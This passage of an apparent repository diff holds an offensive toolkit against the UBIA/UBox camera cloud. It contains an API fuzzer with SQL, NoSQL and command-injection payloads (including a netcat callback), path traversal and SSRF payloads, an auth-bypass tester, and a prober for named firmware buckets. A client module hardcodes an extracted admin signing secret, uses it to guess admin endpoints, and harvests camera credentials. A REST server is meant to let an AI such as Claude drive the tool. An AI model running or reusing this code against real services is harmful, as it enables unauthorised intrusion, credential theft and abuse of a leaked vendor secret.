"user/get_cloud_config", "user/set_cloud_config",
"user/get_ai_config", "user/set_ai_config",
"user/get_detection_config", "user/set_detection_config",
"user/get_schedule", "user/set_schedule",
"user/get_timezone", "user/set_timezone",
"user/get_device_config", "user/set_device_config",
"user/get_stream_config", "user/set_stream_config",
"user/get_rtsp_url", "user/get_p2p_config",
"user/get_firmware_url", "user/get_ota_url",
"user/get_device_log", "user/get_crash_log",
"user/upload_log", "user/upload_crash",
"user/get_cloud_key", "user/get_cloud_secret",
"user/get_push_config", "user/set_push_config",
"user/reply_get_notification",
"user/device_share_list", "user/device_share_add",
"user/device_share_del", "user/device_share_accept",
"user/device_share_reject",
"user/family/add", "user/family/del", "user/family/update",
"user/family/list", "user/family/members",
"user/family/invite", "user/family/remove_member",
]
# Parameter mutation payloads
PARAM_MUTATIONS = {
"auth_bypass": [
{},
{"admin": True},
{"role": "admin"},
{"is_admin": 1},
{"debug": True},
{"test": True},
{"internal": True},
{"bypass": True},
{"token": "admin"},
{"user_type": "admin"},
{"privilege": 9999},
{"level": 0},
{"auth": "none"},
{"skip_auth": True},
],
"sqli": [
{"device_uid": "' OR '1'='1"},
{"device_uid": "\" OR \"1\"=\"1"},
{"device_uid": "'; DROP TABLE users; --"},
{"account": "admin'--"},
{"account": "' UNION SELECT * FROM users--"},
{"device_uid": "1; WAITFOR DELAY '0:0:5'--"},
{"device_uid": "1' AND SLEEP(5)--"},
{"account": "admin' AND '1'='1"},
{"password": "' OR '1'='1"},
{"device_uid": "' UNION SELECT username,password FROM users--"},
{"page": "1; DROP TABLE devices--"},
{"device_uid": "1' ORDER BY 100--"},
],
"nosql": [
{"device_uid": {"$gt": ""}},
{"device_uid": {"$ne": ""}},
{"device_uid": {"$regex": ".*"}},
{"account": {"$gt": ""}},
{"password": {"$ne": "invalid"}},
{"$where": "1==1"},
{"device_uid": {"$exists": True}},
{"account": {"$in": ["admin", "root", "test"]}},
],
"idor": [
{"device_uid": "AAAAAAAAAAAAAAAAAAAAAA"},
{"device_uid": "../../../etc/passwd"},
{"device_uid": "0"},
{"device_uid": "-1"},
{"device_uid": "1"},
{"user_id": "1"},
{"user_id": "0"},
{"user_id": "-1"},
{"kuid": "1"},
{"kuid": "1000000000"},
{"kuid": "1006072344"},
{"uuid": "admin"},
{"family": 1},
{"family_id": "1"},
{"id": 1},
{"id": 0},
{"device_uid": "AAAAAAAAAAAAAAAAAAAA"},
{"device_uid": "J7HYJJFFFXRDKBYGPVR0"},
{"device_uid": "J7HYJJFFFXRDKBYGPVR1"},
],
"overflow": [
{"device_uid": "A" * 500},
{"device_uid": "A" * 10000},
{"device_uid": "A" * 100000},
{"page": 999999},
{"page": -1},
{"page": 0},
{"count": -1},
{"count": 0},
{"count": 999999},
{"page_num": 2147483647},
{"zone_id": 2147483647},
{"zone_id": -2147483648},
{"device_uid": "\x00" * 100},
{"account": "A" * 10000},
],
"type_confusion": [
{"device_uid": 12345},
{"device_uid": True},
{"device_uid": False},
{"device_uid": None},
{"device_uid": []},
{"device_uid": [1, 2, 3]},
{"device_uid": {"key": "value"}},
{"device_uid": 0},
{"device_uid": -1},
{"device_uid": 1.5},
{"page": "abc"},
{"page": True},
{"page": None},
{"page": []},
{"count": "all"},
{"zone_id": "global"},
],
"path_traversal": [
{"device_uid": "../../etc/passwd"},
{"device_uid": "..\\..\\etc\\passwd"},
{"device_uid": "%2e%2e%2f%2e%2e%2fetc%2fpasswd"},
{"device_uid": "....//....//etc/passwd"},
{"file": "/etc/passwd"},
{"file": "/etc/shadow"},
{"path": "/proc/self/environ"},
{"url": "file:///etc/passwd"},
{"filename": "../../../etc/passwd"},
],
"ssrf": [
{"url": "http://127.0.0.1"},
{"url": "http://localhost"},
{"url": "http://169.254.169.254/latest/meta-data/"},
{"url": "http://[::1]"},
{"url": "http://0.0.0.0"},
{"callback_url": "http://127.0.0.1:8080"},
{"webhook": "http://localhost:9090"},
{"firmware_url": "http://127.0.0.1/evil.bin"},
],
"xss_ssti": [
{"device_uid": "<script>alert(1)</script>"},
{"name": "<img src=x onerror=alert(1)>"},
{"device_uid": "{{7*7}}"},
{"device_uid": "${7*7}"},
{"device_uid": "<%=7*7%>"},
{"name": "{{config}}"},
{"name": "${env}"},
],
"command_injection": [
{"device_uid": "; id"},
{"device_uid": "| id"},
{"device_uid": "$(id)"},
{"device_uid": "`id`"},
{"device_uid": "; cat /etc/passwd"},
{"device_uid": "| nc 192.168.1.172 4444"},
{"name": "; whoami"},
{"wifi_ssid": "test'; ping -c1 192.168.1.172; '"},
{"firmware_url": "http://x/$(id)"},
],
"format_string": [
{"device_uid": "%s%s%s%s%s"},
{"device_uid": "%x%x%x%x"},
{"device_uid": "%n%n%n%n"},
{"device_uid": "%p%p%p%p"},
{"name": "%s" * 50},
],
"null_byte": [
{"device_uid": "valid\x00admin"},
{"device_uid": "J7HYJJFFFXRDKBYGPVRA\x00.txt"},
{"account": "admin\x00@evil.com"},
{"file": "image.jpg\x00.php"},
],
"unicode": [
{"device_uid": "\uff41\uff44\uff4d\uff49\uff4e"},
{"account": "admin\u200b@test.com"},
{"device_uid": "\u0000\u0001\u0002"},
{"name": "\ud800"},
],
"large_json": [
{"a": "b" * 100000},
dict([(f"key_{i}", f"val_{i}") for i in range(1000)]),
{"nested": {"a": {"b": {"c": {"d": {"e": "deep"}}}}}},
],
}
class Fuzzer:
def __init__(self, cfg):
self.cfg = cfg
self.results = []
self.running = False
self._lock = threading.Lock()
def _post(self, endpoint, data, token=None, timeout=5):
url = f"{self.cfg['api_base']}/{endpoint}"
body = json.dumps(data).encode("utf-8")
req = urllib.request.Request(url, data=body, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14")
if token:
req.add_header("X-Ubia-Auth-UserToken", token)
try:
with urllib.request.urlopen(req, timeout=timeout) as resp:
code = resp.getcode()
body = resp.read().decode("utf-8", errors="replace")[:500]
return code, body
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")[:500]
return e.code, body
except Exception as e:
return 0, str(e)
def _add_result(self, endpoint, method, status, note, response=""):
with self._lock:
self.results.append({
"endpoint": endpoint,
"method": method,
"status": status,
"note": note,
"response": response[:300],
})
def _parse_app_code(self, body):
"""Extract the application-level code from JSON response body.
UBIA API always returns HTTP 200 — real status is in {"code": N}"""
try:
data = json.loads(body)
return data.get("code", -1), data
except:
return -1, {}
def fuzz_endpoints(self):
"""Discover hidden API endpoints"""
self.running = True
log("FUZZ: starting endpoint discovery...", C_INFO)
token = self.cfg["api_token"]
delay = self.cfg.get("fuzzer_delay", 0.2)
all_endpoints = list(set(KNOWN_ENDPOINTS + ENDPOINT_WORDLIST))
total = len(all_endpoints)
for i, ep in enumerate(all_endpoints):
if not self.running:
break
# Try with auth
code, body = self._post(ep, {}, token)
if code == 0:
continue # connection error
elif code == 404:
continue # not found
elif code == 200:
app_code, parsed = self._parse_app_code(body)
if app_code == 0:
# Real success
log(f"FUZZ: [{code}] {ep} — FOUND (app_code=0)", C_IMPORTANT)
self._add_result(ep, "POST", code, "accessible", body)
# Now test without auth
code2, body2 = self._post(ep, {}, None)
app_code2, _ = self._parse_app_code(body2)
if app_code2 == 0:
log(f"FUZZ: [{code2}] {ep} — REAL NO AUTH BYPASS!", C_IMPORTANT)
self._add_result(ep, "POST_NOAUTH", code2, "NO_AUTH_CONFIRMED", body2)
elif app_code2 != 10004:
log(f"FUZZ: [{code2}] {ep} — unusual no-auth response: code={app_code2}", C_TRAFFIC)
self._add_result(ep, "POST_NOAUTH", code2, f"noauth_code_{app_code2}", body2)
elif app_code == 10004:
# Token rejected even with our valid token — interesting
log(f"FUZZ: [{code}] {ep} — exists but token rejected", C_TRAFFIC)
self._add_result(ep, "POST", code, "token_rejected", body)
elif app_code == 10001:
# Invalid params — endpoint exists
log(f"FUZZ: [{code}] {ep} — FOUND (needs params)", C_TRAFFIC)
self._add_result(ep, "POST", code, "needs_params", body)
else:
log(f"FUZZ: [{code}] {ep} — app_code={app_code}", C_TRAFFIC)
self._add_result(ep, "POST", code, f"app_code_{app_code}", body)
elif code == 405:
log(f"FUZZ: [{code}] {ep} — wrong method", C_TRAFFIC)
self._add_result(ep, "POST", code, "method_not_allowed", body)
else:
log(f"FUZZ: [{code}] {ep}", 0)
self._add_result(ep, "POST", code, f"http_{code}", body)
if (i + 1) % 50 == 0:
log(f"FUZZ: progress {i+1}/{total}", C_INFO)
time.sleep(delay)
log(f"FUZZ: endpoint scan done — {len(self.results)} results", C_SUCCESS)
self.running = False
def fuzz_params(self, endpoint):
"""Test parameter mutations on a specific endpoint"""
self.running = True
log(f"FUZZ: parameter fuzzing on {endpoint}...", C_INFO)
token = self.cfg["api_token"]
delay = self.cfg.get("fuzzer_delay", 0.1)
for category, payloads in PARAM_MUTATIONS.items():
if not self.running:
break
log(f"FUZZ: testing {category}...", C_INFO)
for payload in payloads:
if not self.running:
break
code, body = self._post(endpoint, payload, token)
note = f"{category}: {json.dumps(payload)[:80]}"
if code == 200:
log(f"FUZZ: [{code}] {note} — ACCEPTED", C_IMPORTANT)
elif code == 500:
log(f"FUZZ: [{code}] {note} — SERVER ERROR!", C_IMPORTANT)
else:
log(f"FUZZ: [{code}] {note}", C_TRAFFIC)
self._add_result(endpoint, category, code, note, body)
time.sleep(delay)
log(f"FUZZ: param fuzzing done", C_SUCCESS)
self.running = False
def fuzz_auth(self):
"""Test authentication bypass techniques"""
self.running = True
log("FUZZ: testing auth bypass...", C_INFO)
delay = self.cfg.get("fuzzer_delay", 0.2)
test_endpoints = ["user/device_list", "v2/user/device_list", "user/families"]
tests = [
("no_token", None),
("empty_token", ""),
("invalid_token", "invalidtoken123"),
("expired_format", "xxxx1234567890abcdef"),
("sql_token", "' OR '1'='1"),
("null_byte", "valid\x00admin"),
("long_token", "A" * 1000),
]
for ep in test_endpoints:
if not self.running:
break
for test_name, token_val in tests:
if not self.running:
break
code, body = self._post(ep, {}, token_val)
app_code, _ = self._parse_app_code(body)
if code == 200 and app_code == 0:
log(f"FUZZ: AUTH BYPASS! [{code}] {ep} with {test_name} (app_code=0!)", C_IMPORTANT)
elif code == 200 and app_code != 10004:
log(f"FUZZ: [{code}] {ep} {test_name} app_code={app_code}", C_TRAFFIC)
else:
log(f"FUZZ: [{code}] {ep} {test_name} — rejected", 0)
self._add_result(ep, f"auth_{test_name}", code, f"{test_name}_appcode_{app_code}", body)
time.sleep(delay)
log("FUZZ: auth bypass testing done", C_SUCCESS)
self.running = False
def stop(self):
self.running = False
def save_results(self, path=None):
path = path or f"{self.cfg['log_dir']}/fuzz_results_{int(time.time())}.json"
with open(path, "w") as f:
json.dump(self.results, f, indent=2)
log(f"FUZZ: results saved to {path}", C_SUCCESS)
return path

154
api/ota_bucket_probe.py Normal file
View File

@@ -0,0 +1,154 @@
"""
OTA bucket enumerator.
The UBIA OTA buckets are Tencent COS:
ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com
ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com
Anonymous LIST is denied, but individual objects can be public-read (we
confirmed this with the dev_add_doc/1159_video/* demo video). This module
guesses common firmware paths and reports any that return non-403/404.
"""
import json
import os
import urllib.request
import urllib.error
from datetime import datetime
from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_IMPORTANT, C_TRAFFIC
BUCKETS = [
"http://ubiaota-us-1312441409.cos.na-siliconvalley.myqcloud.com",
"http://ubiaota-cn-1312441409.cos.ap-guangzhou.myqcloud.com",
]
# Path templates — {pid} = product id (1619 for our camera),
# {model} = model number (2604), {ver} = a version string
PATH_TEMPLATES = [
"/dev_add_doc/{pid}/firmware.bin",
"/dev_add_doc/{pid}/host.bin",
"/dev_add_doc/{pid}/wifi.bin",
"/dev_add_doc/{pid}/{model}.bin",
"/dev_add_doc/{pid}/{ver}.bin",
"/dev_add_doc/{pid}/{ver}/host.bin",
"/dev_add_doc/{pid}/{ver}/firmware.bin",
"/dev_add_doc/{pid}/{model}.{ver}.bin",
"/dev_add_doc/{pid}_video/",
"/firmware/{pid}/host.bin",
"/firmware/{pid}/{ver}.bin",
"/firmware/{model}/{ver}.bin",
"/ota/{pid}/host.bin",
"/ota/{pid}/{ver}.bin",
"/ota/{model}/{ver}.bin",
"/ota/{model}.{ver}.bin",
"/{pid}/firmware.bin",
"/{pid}/host.bin",
"/{pid}/{ver}.bin",
"/{model}/{ver}.bin",
"/host/{model}/{ver}.bin",
"/wifi/{model}/{ver}.bin",
"/upgrade/{pid}/{ver}.bin",
"/upgrade/{model}/{ver}.bin",
"/dev_fw/{pid}/{ver}.bin",
"/dev_fw/{model}/{ver}.bin",
"/{model}.{ver}.bin",
"/{ver}.bin",
]
# Versions to try — descending from current downward
VERSIONS_TO_TRY = [
"2604.1.2.69",
"2604.1.2.68",
"2604.1.2.0",
"2604.0.29.8",
"2604.0.29.7",
"2604.0.29.0",
"2604.0.0.0",
"2604",
]
PRODUCT_IDS = ["1619"]
MODELS = ["2604"]
def _head(url, timeout=8):
req = urllib.request.Request(url, method="HEAD", headers={
"User-Agent": "okhttp/4.9.1",
})
try:
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.status, dict(r.headers), None
except urllib.error.HTTPError as e:
return e.code, dict(e.headers) if e.headers else {}, None
except urllib.error.URLError as e:
return None, {}, str(e.reason)
except Exception as e:
return None, {}, str(e)
def _build_paths():
paths = set()
for pid in PRODUCT_IDS:
for model in MODELS:
for ver in VERSIONS_TO_TRY:
for tmpl in PATH_TEMPLATES:
paths.add(tmpl.format(pid=pid, model=model, ver=ver))
return sorted(paths)
def probe(cfg=None):
"""
Try every path×bucket combo. Report any HEAD that returns 200 or
that has Content-Length > 0. Also report 403 (auth required —
means the object exists), separately from 404.
Returns:
{
"ok": bool,
"found": [{"url","status","size","content_type"}],
"exists_403": [...],
"tried": int,
}
"""
paths = _build_paths()
log(f"OTA-PROBE: trying {len(paths)} paths × {len(BUCKETS)} buckets = "
f"{len(paths) * len(BUCKETS)} requests…", C_INFO)
found = []
exists_403 = []
tried = 0
for bucket in BUCKETS:
for p in paths:
url = bucket + p
tried += 1
status, headers, err = _head(url)
if err:
continue
ct = headers.get("Content-Type", "?")
cl = headers.get("Content-Length", "0")
try:
cl_i = int(cl)
except (TypeError, ValueError):
cl_i = 0
if status == 200:
log(f" ✓ HIT 200 {url} size={cl_i} ct={ct}", C_IMPORTANT)
found.append({"url": url, "status": 200,
"size": cl_i, "content_type": ct})
elif status == 403:
# Tencent COS returns 403 for "exists but no access" AND for
# "doesn't exist" — but the response body differs. We log
# them anyway since some might be real.
exists_403.append({"url": url, "status": 403, "ct": ct})
elif status and status not in (404,):
log(f" ? {status} {url}", C_TRAFFIC)
log(f"OTA-PROBE: done. {len(found)} hits, {len(exists_403)} 403s, "
f"{tried - len(found) - len(exists_403)} misses", C_SUCCESS)
return {
"ok": bool(found),
"found": found,
"exists_403_count": len(exists_403),
"tried": tried,
}

147
api/server.py Normal file
View File

@@ -0,0 +1,147 @@
"""REST API server — allows external tools (like Claude) to control the MITM tool"""
import json
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
from utils.log import log, log_lines, C_SUCCESS, C_ERROR, C_INFO
class MITMApiHandler(BaseHTTPRequestHandler):
controller = None # Set by start_server
def log_message(self, format, *args):
pass # Suppress default HTTP logging
def _send_json(self, data, code=200):
body = json.dumps(data).encode("utf-8")
self.send_response(code)
self.send_header("Content-Type", "application/json")
self.send_header("Content-Length", len(body))
self.end_headers()
self.wfile.write(body)
def _read_body(self):
cl = int(self.headers.get("Content-Length", 0))
if cl > 0:
return json.loads(self.rfile.read(cl).decode("utf-8"))
return {}
def do_GET(self):
path = self.path.rstrip("/")
if path == "/status":
self._send_json({
"services_running": self.controller.services_running,
"flags": dict(self.controller.flags),
"config": self.controller.cfg.safe_dict(),
})
elif path == "/logs":
count = 100
if "?" in self.path:
for param in self.path.split("?")[1].split("&"):
if param.startswith("count="):
count = int(param.split("=")[1])
with log_lines._mutex if hasattr(log_lines, '_mutex') else threading.Lock():
lines = [(l, c) for l, c in list(log_lines)[-count:]]
self._send_json({"logs": [l for l, _ in lines]})
elif path == "/devices":
self._send_json({"devices": self.controller.get_devices()})
elif path == "/config":
self._send_json(self.controller.cfg.safe_dict())
elif path == "/fuzz/results":
if self.controller.fuzzer:
self._send_json({"results": self.controller.fuzzer.results})
else:
self._send_json({"results": []})
else:
self._send_json({"error": "not found", "endpoints": [
"GET /status", "GET /logs?count=N", "GET /devices",
"GET /config", "GET /fuzz/results",
"POST /start", "POST /stop", "POST /config",
"POST /command", "POST /api", "POST /fuzz/endpoints",
"POST /fuzz/params", "POST /fuzz/auth", "POST /fuzz/stop",
"POST /inject",
]}, 404)
def do_POST(self):
path = self.path.rstrip("/")
body = self._read_body()
if path == "/start":
threading.Thread(target=self.controller.start_services, daemon=True).start()
self._send_json({"status": "starting"})
elif path == "/stop":
threading.Thread(target=self.controller.stop_services, daemon=True).start()
self._send_json({"status": "stopping"})
elif path == "/config":
for k, v in body.items():
if k in self.controller.cfg.keys():
self.controller.cfg[k] = v
self.controller.cfg.save()
self._send_json({"status": "updated", "config": self.controller.cfg.safe_dict()})
elif path == "/command":
cmd = body.get("cmd", "")
if cmd:
self.controller.process_command(cmd)
self._send_json({"status": "executed", "cmd": cmd})
else:
self._send_json({"error": "provide 'cmd' field"}, 400)
elif path == "/api":
endpoint = body.get("endpoint", "")
data = body.get("data", {})
if endpoint:
from api import ubox_client
result = ubox_client.api_post(
self.controller.cfg["api_base"], endpoint,
data, self.controller.cfg["api_token"])
self._send_json({"result": result})
else:
self._send_json({"error": "provide 'endpoint' field"}, 400)
elif path == "/fuzz/endpoints":
threading.Thread(target=self.controller.run_fuzz_endpoints, daemon=True).start()
self._send_json({"status": "started"})
elif path == "/fuzz/params":
endpoint = body.get("endpoint", "user/device_list")
threading.Thread(target=self.controller.run_fuzz_params,
args=(endpoint,), daemon=True).start()
self._send_json({"status": "started", "endpoint": endpoint})
elif path == "/fuzz/auth":
threading.Thread(target=self.controller.run_fuzz_auth, daemon=True).start()
self._send_json({"status": "started"})
elif path == "/fuzz/stop":
if self.controller.fuzzer:
self.controller.fuzzer.stop()
self._send_json({"status": "stopped"})
elif path == "/inject":
result = self.controller.inject_packet(body)
self._send_json(result)
else:
self._send_json({"error": "not found"}, 404)
def start_server(controller, port=9090):
MITMApiHandler.controller = controller
server = HTTPServer(("0.0.0.0", port), MITMApiHandler)
server.timeout = 1
log(f"REST API: listening on :{port}", C_SUCCESS)
while controller.running:
server.handle_request()
server.server_close()
log("REST API: stopped", C_INFO)

257
api/ubox_client.py Normal file
View File

@@ -0,0 +1,257 @@
"""UBox cloud API client — authenticate, list devices, check firmware, etc."""
import hashlib
import hmac
import base64
import json
import time
import urllib.request
import urllib.error
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT
# ─── OAM (operator/admin) endpoint signing ───────────────────────
# Hardcoded secret extracted from com/http/OamHttpClient.java:28
OAM_BASE_URLS = [
"https://oam.ubianet.com/api",
"https://dev.ubianet.com/oam/api",
]
OAM_APPID = "30001"
OAM_CLIENT_ID = "" # empty in app code; may need to be set per-deployment
OAM_SECRET = "2894df25f8f740dff5266bc155c662ca"
def oam_sign(body_str, ts_ms, appid=OAM_APPID, client_id=OAM_CLIENT_ID,
secret=OAM_SECRET):
"""
Reproduce com.http.Encryption.Hmac:
sig_str = "<ts>:<appid>:<clientId>:<body>"
hmac = HmacSHA1(sig_str.utf8, secret.bytes)
result = hex(hmac)
"""
sig_str = f"{ts_ms}:{appid}:{client_id}:{body_str}"
h = hmac.new(secret.encode("utf-8"), sig_str.encode("utf-8"), hashlib.sha1)
return h.hexdigest()
def oam_post(endpoint, data, base_url=None):
"""
POST to an OAM endpoint with the OAM-SIGN header set.
Tries each known OAM base URL if the first fails.
"""
body = json.dumps(data).encode("utf-8")
body_str = body.decode("utf-8")
ts_ms = str(int(time.time() * 1000))
sign = oam_sign(body_str, ts_ms)
headers = {
"Content-Type": "application/json",
"OAM-SIGN": sign,
"OAM-APPID": OAM_APPID,
"CLIENT-ID": OAM_CLIENT_ID,
"timestamp": ts_ms,
"X-UbiaAPI-CallContext": "source=app&app=ubox&ver=1.1.360&osver=14",
}
bases = [base_url] if base_url else OAM_BASE_URLS
last_err = None
for b in bases:
url = f"{b}/{endpoint}"
log(f"OAM: POST {url}", C_INFO)
log(f" sign-str = {ts_ms}:{OAM_APPID}::{body_str[:80]}", C_INFO)
log(f" OAM-SIGN = {sign}", C_INFO)
req = urllib.request.Request(url, data=body, method="POST", headers=headers)
try:
with urllib.request.urlopen(req, timeout=15) as resp:
payload = json.loads(resp.read().decode("utf-8"))
log(f"OAM: {json.dumps(payload, indent=2)[:400]}", C_TRAFFIC)
return payload
except urllib.error.HTTPError as e:
body_text = e.read().decode("utf-8", errors="replace")[:400]
log(f"OAM: HTTP {e.code} from {b}: {body_text}", C_ERROR)
last_err = {"error": e.code, "body": body_text, "base": b}
except Exception as e:
log(f"OAM: error from {b}: {e}", C_ERROR)
last_err = {"error": str(e), "base": b}
return last_err or {"error": "all OAM bases failed"}
def oam_fuzz(endpoints):
"""
Hit a list of candidate OAM endpoints with empty bodies and report
which ones return non-404 responses (i.e. exist).
"""
results = {"hits": [], "404s": 0, "errors": 0, "tried": 0}
for ep in endpoints:
results["tried"] += 1
r = oam_post(ep, {})
if isinstance(r, dict):
err = r.get("error")
if err == 404:
results["404s"] += 1
elif err is not None:
results["errors"] += 1
results["hits"].append({"endpoint": ep, "error": err,
"body": r.get("body", "")[:200]})
else:
# Real JSON came back (msg=success or msg=fail with code)
results["hits"].append({"endpoint": ep,
"code": r.get("code"),
"msg": r.get("msg"),
"data": r.get("data")})
log(f"OAM-FUZZ: ✓ {ep} -> code={r.get('code')} msg={r.get('msg')}",
C_IMPORTANT)
log(f"OAM-FUZZ done: {len(results['hits'])} hits / {results['tried']} tried "
f"({results['404s']} 404s, {results['errors']} errors)", C_SUCCESS)
return results
# Candidate OAM endpoints — confirmed in source + admin guesses
OAM_ENDPOINT_GUESSES = [
# Confirmed in OamHttpClient.java
"lgc/bind_err",
"app/push_channel_reg",
# Common admin patterns to probe
"oam/users", "oam/user/list", "oam/user/info",
"oam/devices", "oam/device/list", "oam/device/info",
"oam/firmware", "oam/firmware/list", "oam/firmware/upload",
"oam/ota", "oam/ota/list", "oam/ota/deploy", "oam/ota/push",
"oam/config", "oam/cloud/config", "oam/cloud/keys",
"oam/stats", "oam/dashboard", "oam/system",
"oam/logs", "oam/audit", "oam/security",
"user/list", "user/info", "user/all",
"device/list", "device/info", "device/all",
"firmware/list", "firmware/all", "firmware/latest",
"ota/list", "ota/all", "ota/deploy",
"admin/users", "admin/devices", "admin/firmware",
"admin/config", "admin/system", "admin/stats",
"stats", "dashboard", "system/info", "system/version",
"lgc/bind_ok", "lgc/list", "lgc/info",
"app/version", "app/config",
"push/list", "push/send", "push/all",
]
def hash_password(password):
h = hmac.new(b"", password.encode("utf-8"), hashlib.sha1).digest()
b64 = base64.b64encode(h).decode("utf-8")
return b64.replace("+", "-").replace("/", "_").replace("=", ",")
def api_post(base_url, endpoint, data, token=None):
url = f"{base_url}/{endpoint}"
body = json.dumps(data).encode("utf-8")
req = urllib.request.Request(url, data=body, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("X-UbiaAPI-CallContext", "source=app&app=ubox&ver=1.1.360&osver=14")
if token:
req.add_header("X-Ubia-Auth-UserToken", token)
try:
with urllib.request.urlopen(req, timeout=15) as resp:
return json.loads(resp.read().decode("utf-8"))
except urllib.error.HTTPError as e:
return {"error": e.code, "body": e.read().decode("utf-8", errors="replace")[:500]}
except Exception as e:
return {"error": str(e)}
def login(cfg):
if not cfg["api_email"] or not cfg["api_password"]:
log("API: set api_email and api_password first", C_ERROR)
return False
hashed = hash_password(cfg["api_password"])
data = {
"account": cfg["api_email"], "password": hashed,
"app": "ubox", "app_version": "1.1.360",
"device_type": 1, "lang": "en", "brand": "Python",
"device_token": "none", "regid_jg": "fail",
"regid_xm": "fail", "regid_vivo": "fail",
}
log(f"API: logging in as {cfg['api_email']}...", C_INFO)
result = api_post(cfg["api_base"], "v3/login", data)
if result and result.get("msg") == "success":
cfg["api_token"] = result["data"]["Token"]
log(f"API: login OK — token={cfg['api_token'][:20]}...", C_SUCCESS)
# Extract app_config keys
app_cfg = result["data"].get("app_config", {})
if app_cfg:
log(f"API: leaked app_config keys extracted", C_IMPORTANT)
cfg.save()
return True
else:
log(f"API: login failed: {json.dumps(result)[:200]}", C_ERROR)
return False
def devices(cfg):
if not cfg["api_token"]:
log("API: login first", C_ERROR)
return []
result = api_post(cfg["api_base"], "user/device_list", {}, cfg["api_token"])
if result and result.get("msg") == "success":
devs = result["data"].get("list", [])
fw = result["data"].get("firmware_ver", [])
log(f"API: {len(devs)} device(s), firmware: {fw}", C_SUCCESS)
for d in devs:
uid = d.get("device_uid", "?")
name = d.get("name", "?")
cu = d.get("cam_user", "")
cp = d.get("cam_pwd", "")
model = d.get("model_num", "?")
bat = d.get("battery", "?")
log(f" [{uid}] {name} model={model} bat={bat}%", C_TRAFFIC)
if cu and cp:
log(f" LEAKED CREDS: {cu} / {cp}", C_IMPORTANT)
cfg["device_uid"] = uid
cfg["device_cam_user"] = cu
cfg["device_cam_pwd"] = cp
cfg.save()
return devs
else:
log(f"API: {json.dumps(result)[:300]}", C_ERROR)
return []
def check_firmware(cfg):
if not cfg["api_token"] or not cfg["device_uid"]:
log("API: login and get devices first", C_ERROR)
return None
result = api_post(cfg["api_base"], "user/qry/device/check_version/v3", {
"device_uid": cfg["device_uid"],
"host_version": "0.0.0.1",
"wifi_version": "0.0.0.1",
"is_lite": False, "zone_id": 2,
}, cfg["api_token"])
log(f"API firmware: {json.dumps(result, indent=2)}", C_TRAFFIC)
return result
def device_services(cfg):
if not cfg["api_token"] or not cfg["device_uid"]:
log("API: login and get devices first", C_ERROR)
return None
result = api_post(cfg["api_base"], "user/qry/device/device_services",
{"device_uid": cfg["device_uid"]}, cfg["api_token"])
log(f"API services: {json.dumps(result, indent=2)[:600]}", C_TRAFFIC)
return result
def raw_request(cfg, endpoint, data=None):
if not cfg["api_token"]:
log("API: login first", C_ERROR)
return None
log(f"API: POST {endpoint}", C_INFO)
result = api_post(cfg["api_base"], endpoint, data or {}, cfg["api_token"])
log(f"API: {json.dumps(result, indent=2)[:800]}", C_TRAFFIC)
return result
def families(cfg):
return raw_request(cfg, "user/families")
def device_list_v2(cfg):
return raw_request(cfg, "v2/user/device_list")